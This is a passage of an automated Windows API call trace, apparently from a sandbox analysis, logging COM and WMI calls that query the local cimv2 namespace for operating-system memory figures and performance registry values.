pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0285.794] IUnknown:Release (This=0x1b269218) returned 0x3 [0285.794] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0285.794] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0285.794] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0285.794] IUnknown:Release (This=0x1b269210) returned 0x2 [0285.794] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0285.794] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0285.794] IUnknown:QueryInterface (in: This=0x1b269210, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b269210) returned 0x0 [0285.794] IUnknown:AddRef (This=0x1b269210) returned 0x4 [0285.794] IUnknown:Release (This=0x1b269210) returned 0x3 [0285.795] IUnknown:Release (This=0x1b269210) returned 0x2 [0285.795] CoTaskMemFree (pv=0x1d1c0d20) [0285.795] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0285.795] IUnknown:AddRef (This=0x1b269210) returned 0x3 [0285.795] IWbemClassObject:Get (in: This=0x1b269210, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0285.795] IWbemClassObject:Get (in: This=0x1b269210, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0285.795] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0285.795] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0285.795] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0285.795] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0285.796] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0285.796] IUnknown:Release (This=0x77dd58) returned 0x1 [0285.798] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d2185d0) returned 0x0 [0285.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2185d0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0285.798] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d2185d0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b292ea0) returned 0x0 [0285.798] WbemDefPath:IUnknown:Release (This=0x1d2185d0) returned 0x0 [0285.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b292ea0) returned 0x0 [0285.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0285.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0285.798] WbemDefPath:IUnknown:AddRef (This=0x1b292ea0) returned 0x3 [0285.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0285.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0285.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d2184b0) returned 0x0 [0285.799] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d2184b0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0285.799] WbemDefPath:IUnknown:Release (This=0x1d2184b0) returned 0x3 [0285.799] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0285.799] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0285.799] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0285.799] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x2 [0285.799] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x1 [0285.799] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0285.799] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0285.799] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b292ea0) returned 0x0 [0285.799] WbemDefPath:IUnknown:AddRef (This=0x1b292ea0) returned 0x3 [0285.799] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x2 [0285.799] WbemDefPath:IWbemPath:SetText (This=0x1b292ea0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0285.799] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0285.799] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0285.799] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0285.800] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0285.800] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0285.800] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0285.800] IWbemClassObject:Get (in: This=0x1b269210, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25de480*=0, plFlavor=0x25de484*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x25de480*=21, plFlavor=0x25de484*=0) returned 0x0 [0285.800] SysStringByteLen (bstr="1359840") returned 0xe [0285.800] SysStringByteLen (bstr="1359840") returned 0xe [0285.800] IWbemClassObject:Get (in: This=0x1b269210, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25de480*=21, plFlavor=0x25de484*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x25de480*=21, plFlavor=0x25de484*=0) returned 0x0 [0285.800] SysStringByteLen (bstr="1359840") returned 0xe [0285.800] SysStringByteLen (bstr="1359840") returned 0xe [0285.801] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0285.801] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0285.801] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0285.801] IWbemClassObject:Get (in: This=0x1b269210, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25de678*=0, plFlavor=0x25de67c*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x25de678*=21, plFlavor=0x25de67c*=0) returned 0x0 [0285.801] SysStringByteLen (bstr="2096620") returned 0xe [0285.801] SysStringByteLen (bstr="2096620") returned 0xe [0285.801] IWbemClassObject:Get (in: This=0x1b269210, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25de678*=21, plFlavor=0x25de67c*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x25de678*=21, plFlavor=0x25de67c*=0) returned 0x0 [0285.801] SysStringByteLen (bstr="2096620") returned 0xe [0285.801] SysStringByteLen (bstr="2096620") returned 0xe [0285.801] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0285.801] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x1 [0285.801] IUnknown:Release (This=0x1b286080) returned 0x0 [0287.876] GetTickCount64 () returned 0x1ac4826 [0287.899] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0287.902] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x27eba60, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x27eba60*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0287.905] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0287.908] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x27fce78, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x27fce78*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0287.913] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0287.913] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0287.913] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0287.913] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0287.914] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0287.914] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0287.914] IUnknown:Release (This=0x77dd58) returned 0x1 [0287.915] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d2183b0) returned 0x0 [0287.916] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2183b0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0287.916] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d2183b0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d2180f0) returned 0x0 [0287.916] WbemLocator:IUnknown:Release (This=0x1d2183b0) returned 0x0 [0287.916] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d2180f0) returned 0x0 [0287.917] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0287.917] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0287.917] WbemLocator:IUnknown:AddRef (This=0x1d2180f0) returned 0x3 [0287.917] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0287.917] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0287.917] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0287.917] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0287.917] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0287.917] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0287.917] WbemLocator:IUnknown:Release (This=0x1d2180f0) returned 0x2 [0287.917] WbemLocator:IUnknown:Release (This=0x1d2180f0) returned 0x1 [0287.917] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0287.917] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0287.917] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2180f0, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d2180f0) returned 0x0 [0287.917] WbemLocator:IUnknown:AddRef (This=0x1d2180f0) returned 0x3 [0287.917] WbemLocator:IUnknown:Release (This=0x1d2180f0) returned 0x2 [0287.918] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0287.918] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0287.918] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0287.918] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d2180b0) returned 0x0 [0287.918] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d2180b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1d2908f0) returned 0x0 [0287.937] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2908f0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b201c90) returned 0x0 [0287.938] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b201c90, pProxy=0x1d2908f0, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0287.938] WbemLocator:IUnknown:Release (This=0x1b201c90) returned 0x1 [0287.938] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2908f0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b201cd8) returned 0x0 [0287.938] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2908f0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b201c90) returned 0x0 [0287.938] WbemLocator:IClientSecurity:SetBlanket (This=0x1b201c90, pProxy=0x1d2908f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0287.938] WbemLocator:IUnknown:Release (This=0x1b201c90) returned 0x2 [0287.938] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x1 [0287.938] CoTaskMemFree (pv=0x1d1e6db0) [0287.938] WbemLocator:IUnknown:Release (This=0x1d2180b0) returned 0x0 [0287.939] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2908f0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b201cd8) returned 0x0 [0287.939] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0287.939] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0287.940] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2908f0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0287.940] WbemLocator:IUnknown:AddRef (This=0x1b201cd8) returned 0x3 [0287.940] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, 